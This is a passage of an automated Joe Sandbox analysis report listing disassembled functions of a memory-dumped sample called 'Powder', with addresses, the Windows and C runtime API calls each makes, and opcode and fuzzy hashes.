Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 99b3cf38d6efb54c868351bdf69ce04f22f23c6506852815c50aef4c7a8a9239
Instruction ID: 7ef0c1097d2442e79dced6f7a7b2b79088ce96a6e64884e5b4f21d0d7d5a1b52
Opcode Fuzzy Hash: 99b3cf38d6efb54c868351bdf69ce04f22f23c6506852815c50aef4c7a8a9239
Instruction Fuzzy Hash: BE01DE39601B47EFE6153B39A852B6F32488F5377CF114126F524EE2E2DEB08E429661

Function 00CF2953 Relevance: 4.5, APIs: 3, Instructions: 46networkCOMMON

Download Yara Rule

APIs

InternetQueryOptionW.WININET(00000000,00000026,00000000,?), ref: 00CF2970
_memset.LIBCMT ref: 00CF298B
InternetQueryOptionW.WININET(00000000,00000026,00000000,?), ref: 00CF299B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InternetOptionQuery$_memset
String ID:
API String ID: 3210845847-0
Opcode ID: e2ee9527ff6bfd151e53ed7c30b0ce773d3c4b2b66692af7dbb6cebf22721b83
Instruction ID: d2b800dd22686c10c7eac7ddbd6a30b745215b8cda07033d2e33d9a5860ff07f
Opcode Fuzzy Hash: e2ee9527ff6bfd151e53ed7c30b0ce773d3c4b2b66692af7dbb6cebf22721b83
Instruction Fuzzy Hash: 00F08C7144421CBFEB20AF50DC81CFB7B5DEB053D4B448025F9088A140CAB59F80DAA0

Function 00C85E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 00CBE234

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 854246b9a2082ec41e6b2ba8d14660f0ffeb09b397c9620082f28fe2a9f08e50
Instruction ID: 99e46d97fe8b165b09fa30a8181753f638f5a36b6914027696bc42d8d0936385
Opcode Fuzzy Hash: 854246b9a2082ec41e6b2ba8d14660f0ffeb09b397c9620082f28fe2a9f08e50
Instruction Fuzzy Hash: 66328A74508301DFCB24EF14C484A6AB7E1BF84348F15896DF89A9B362D731ED45EB8A

Function 00C948B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C948FA

Strings

EA06, xrefs: 00CD08A1

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 600fb639c13ccc8f3e1ff8bb2318567bb3ede92ca7cd334bd2a5ce3a63329804
Instruction ID: eb87e043d0db72c08cc4874ed811f09f32fbfd777597205340479f63e05efd5e
Opcode Fuzzy Hash: 600fb639c13ccc8f3e1ff8bb2318567bb3ede92ca7cd334bd2a5ce3a63329804
Instruction Fuzzy Hash: 4C41B331D041585BDF199B548C59FBF7FA98B45300F694075E982E7386C5218E46A3E1

Function 00CFE139 Relevance: 3.2, APIs: 2, Instructions: 227COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 00CFE20C

Part of subcall function 00C84D37: __itow.LIBCMT ref: 00C84D62
Part of subcall function 00C84D37: __swprintf.LIBCMT ref: 00C84DAC

_wcscpy.LIBCMT ref: 00CFE29B

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __itow__swprintf_strcat_wcscpy
String ID:
API String ID: 1012013722-0
Opcode ID: 46d8ad5360ddcb7f7b8324856f840cb14e84414689f6b1c8c936672f33ed6044
Instruction ID: 8e2b7976c75024e6ce928b04e903c7a8302e83bd766f3533e83705a715242c07
Opcode Fuzzy Hash: 46d8ad5360ddcb7f7b8324856f840cb14e84414689f6b1c8c936672f33ed6044
Instruction Fuzzy Hash: D3915734A00609DFCB58EF28C4859ADB7E5FF49314B55C05AE91A8F362DB30EE45DB82

Function 00CA0E38 Relevance: 3.1, APIs: 2, Instructions: 94COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00CA0ED5
SetErrorMode.KERNEL32 ref: 00CA0EE7

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CloseErrorHandleMode
String ID:
API String ID: 3953868439-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 10a0b2cb011900a93783fd1c826ab6e5385a37ceeb88737b949d336024477153
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 6731D570A0010A9FC718DF59C480969F7B6FF4A384B748AA5E459DB252E731EEC1DBC0

Function 00C95F8B Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00C95FEF

Part of subcall function 00CA359C: __lock.LIBCMT ref: 00CA35A2
Part of subcall function 00CA359C: DecodePointer.KERNEL32(00000001,?,00C96004,00CD8892), ref: 00CA35AE
Part of subcall function 00CA359C: EncodePointer.KERNEL32(?,?,00C96004,00CD8892), ref: 00CA35B9

Part of subcall function 00C95F00: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00C95F18
Part of subcall function 00C95F00: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00C95F2D

Part of subcall function 00C95240: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C9526C
Part of subcall function 00C95240: IsDebuggerPresent.KERNEL32 ref: 00C9527E
Part of subcall function 00C95240: GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00C952E6
Part of subcall function 00C95240: SetCurrentDirectoryW.KERNEL32(?), ref: 00C95366

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00C9602F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: c4eaa59eb96d2e6dba7f4dcac178f144096f9547338568c9f7016d589e239294
Instruction ID: 0d6a6719c161ad5d02e5c61b14df4331383b78ed751d83923b0ec507600b1c13
Opcode Fuzzy Hash: c4eaa59eb96d2e6dba7f4dcac178f144096f9547338568c9f7016d589e239294
Instruction Fuzzy Hash: 0B1190718083029BC710EF69EC4994AFBE8EF86350F00491EF044C73B1DBB09544DBA5

Function 00C942F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00C93E72,?,?,?,00000000), ref: 00C94327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00C93E72,?,?,?,00000000), ref: 00CD0717

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 598fe547ceb09371fa5d78842b2f8fa8e09b326de96a8456cc959af05f163333
Instruction ID: b7e252246695250c701a703ea12de55a2e8b22cfe9b1bf52b58ce6498011f557
Opcode Fuzzy Hash: 598fe547ceb09371fa5d78842b2f8fa8e09b326de96a8456cc959af05f163333
Instruction Fuzzy Hash: D0019670144309BEF7241E24CC8AFA67B9CFB01768F50C319FAE49A1E0C6B45D869B14

Function 00CA0FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CA593C: __FF_MSGBANNER.LIBCMT ref: 00CA5953
Part of subcall function 00CA593C: __NMSG_WRITE.LIBCMT ref: 00CA595A
Part of subcall function 00CA593C: RtlAllocateHeap.NTDLL(00ED0000,00000000,00000001,?,00000004,?,?,00CA1003,?), ref: 00CA597F

std::exception::exception.LIBCMT ref: 00CA101C
__CxxThrowException@8.LIBCMT ref: 00CA1031

Part of subcall function 00CA87CB: RaiseException.KERNEL32(?,?,?,00D3CAF8,?,?,?,?,?,00CA1036,?,00D3CAF8,?,00000001), ref: 00CA8820

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: a7696239e56e163ed69400efb3ab3ad79c84b375420e5038514ed87c00b75231
Instruction ID: fe32a0905ce1203c79ad136da3bfd4cffe4605bee00c0679fcf6efb8b7508250
Opcode Fuzzy Hash: a7696239e56e163ed69400efb3ab3ad79c84b375420e5038514ed87c00b75231
Instruction Fuzzy Hash: B3F0A47550421FBACB21AA98EC159DE7BAC9F02368F244455FC14A6291DFB18B94E2A0

Function 00CA581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA584C
__lock_file.LIBCMT ref: 00CA586D

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: ede809aff5881bcedb37d9fe9c37c5489f2d789a94b4104e9e13a1d7c053c627
Instruction ID: 56dead0bee50cf37d693996b4ec08917a1adc7306905ef9242e3d9dc945eb1d2
Opcode Fuzzy Hash: ede809aff5881bcedb37d9fe9c37c5489f2d789a94b4104e9e13a1d7c053c627
Instruction Fuzzy Hash: 8C018471C4074BEBCF11AF668C018DE7B61AF82768F188115F8242B1E1D7358A21EF91

Function 00CA55C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CA8D58: __getptd_noexit.LIBCMT ref: 00CA8D58

__lock_file.LIBCMT ref: 00CA560B

Part of subcall function 00CA6E3E: __lock.LIBCMT ref: 00CA6E61

__fclose_nolock.LIBCMT ref: 00CA5616

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: e4ee67734cefe9b6c422932093c1ccb1250c51c59b5cc21ecdc889833761f71d
Instruction ID: 56f2d4a8891ede2b1e32c45faf0b110161701a51647428675331d324556ea10b
Opcode Fuzzy Hash: e4ee67734cefe9b6c422932093c1ccb1250c51c59b5cc21ecdc889833761f71d
Instruction Fuzzy Hash: 7BF09071C01B079BD710AB698C0276E67A16F4333CF15C209F424AB1C1CB7C8A05AB61

Function 00CA5E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00CA5EB4
__ftell_nolock.LIBCMT ref: 00CA5EBF

Part of subcall function 00CA8D58: __getptd_noexit.LIBCMT ref: 00CA8D58

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: 61b27af4d4c1f17404bd2200ecb344266fa4dbb470cf101a783bb8b21c3ea054
Instruction ID: b9f7f764e89ecb3d9c18d25cc20689768f7ff166bae6130f237da2b558f074fb
Opcode Fuzzy Hash: 61b27af4d4c1f17404bd2200ecb344266fa4dbb470cf101a783bb8b21c3ea054
Instruction Fuzzy Hash: F1F0A732E11617ABDB00BB749C0275E72A06F03339F118205A420BB1C1CF7C4E05BB61

Function 00C95AC3 Relevance: 3.0, APIs: 2, Instructions: 25windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C95AEF
Shell_NotifyIconW.SHELL32(00000002,?), ref: 00C95B1F

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: IconNotifyShell__memset
String ID:
API String ID: 928536360-0
Opcode ID: 797429b4653f14eadf08c2c26218d5db8454338b5846b6f0d2249c0b8191bfa5
Instruction ID: 9b07acc8004cefa5192befbeb72ad917689e8553bcaa272ec42f621da301ac4f
Opcode Fuzzy Hash: 797429b4653f14eadf08c2c26218d5db8454338b5846b6f0d2249c0b8191bfa5
Instruction Fuzzy Hash: A2F082708083489BD7929F249C897D97BBC9701308F0002E9AA48D6292DBB10B88CB65

Function 00CFC355 Relevance: 1.8, APIs: 1, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: LoadString$__swprintf
String ID:
API String ID: 207118244-0
Opcode ID: 5a611913823e9197a8f6cde7cbe7a8e8d821486d2c86d9412e50c06642237bce
Instruction ID: 75bbf2ed317a0945dc31d1363e98f69fb651a30b51a0aa10a3169634e7237f6c
Opcode Fuzzy Hash: 5a611913823e9197a8f6cde7cbe7a8e8d821486d2c86d9412e50c06642237bce
Instruction Fuzzy Hash: 57B14A34A0010EAFCB14EF94C9959FEB7B5FF48710F10811AFA25AB291EB70AA45DB51

Function 00C8A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd41eaaae2e093f5486d4269c5528e3c9efce78fe0eb168118b3098439f607fa
Instruction ID: d2cd6e91e846848f9ce92e3ad31a3b46e33b2936203b23939c4ed427af864a73
Opcode Fuzzy Hash: cd41eaaae2e093f5486d4269c5528e3c9efce78fe0eb168118b3098439f607fa
Instruction Fuzzy Hash: 4261DE70604206DFEB14EF54C881F7AB7E5EF05308F15806EE9269B291E774EE81CB66

Function 00C8D679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af8fe6960ee32c7dc3accafd420d6dd92a9cfc7837003ccc40b316732494c0e0
Instruction ID: e5df94511d488b73528ae01ed60aeb7db96b62960d4457f1d4cb535fadd13a83
Opcode Fuzzy Hash: af8fe6960ee32c7dc3accafd420d6dd92a9cfc7837003ccc40b316732494c0e0
Instruction Fuzzy Hash: 98519F35600604AFCF14FB68C996F6E77A6AF45314F148168F816AB392DB30FE41DB54

Function 00C9343F Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C9351A

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: a8ef2f5eafa6d8c5939fe2d1ce51e407f3f4c0b76638c9df58cb5d6c22f2d930
Instruction ID: 314513fbb0e7bec03d06b402944d1eca5def26700f600743d253f5c09f204840
Opcode Fuzzy Hash: a8ef2f5eafa6d8c5939fe2d1ce51e407f3f4c0b76638c9df58cb5d6c22f2d930
Instruction Fuzzy Hash: D631F279204A42DFCB24DF19D484A21FBE0FF09350B15C169E89A8B791D730ED81CB94

Function 00C9410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00C941B2

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: c291cde1fc81b69b1007cfb2cd83162c55b686af5a1edb228c305f58170480f9
Instruction ID: af62c8a9c75c5566599b20f6e03d152838f668e666a27cd0d513b9b6627b12f1
Opcode Fuzzy Hash: c291cde1fc81b69b1007cfb2cd83162c55b686af5a1edb228c305f58170480f9
Instruction Fuzzy Hash: F2315E71A00656AFCF18CF6DC888A9DB7B5FF54310F148619E81597710D770BDA1CB90

Function 00CBE2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00CBE2EA

Memory Dump Source

Source File: 0000000B.00000002.3298957696.0000000000C81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00C80000, based on PE: true

Associated: 0000000B.00000002.3298930142.0000000000C80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299075833.0000000000D36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299166800.0000000000D40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3299209599.0000000000D49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_c80000_Powder.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 1507c4cee6c19df926f6ac33bd01778db230fe3981882165d195f1f4edf58ded
Instruction ID: 5994a8805c775fc5b0723a9741db65a8ad9149bac3b58c9a4ca010709f1cb73b
Opcode Fuzzy Hash: 1507c4cee6c19df926f6ac33bd01778db230fe3981882165d195f1f4edf58ded
Instruction Fuzzy Hash: 03413A74508351DFDB24EF14C488B5ABBE1BF45318F0989ACE8998B362C372EC85DB56

Function 00C949C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C94B29: FreeLibrary.KERNEL32(00000000,?), ref: 00C94B63

Part of subcall function 00CA547B: __wfsopen.LIBCMT ref: 00CA5486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,00C927AF,?,00000001), ref: 00C949F4

Part of subcall function 00C94ADE: FreeLibrary.KERNEL32(00000000), ref: 00C94B18

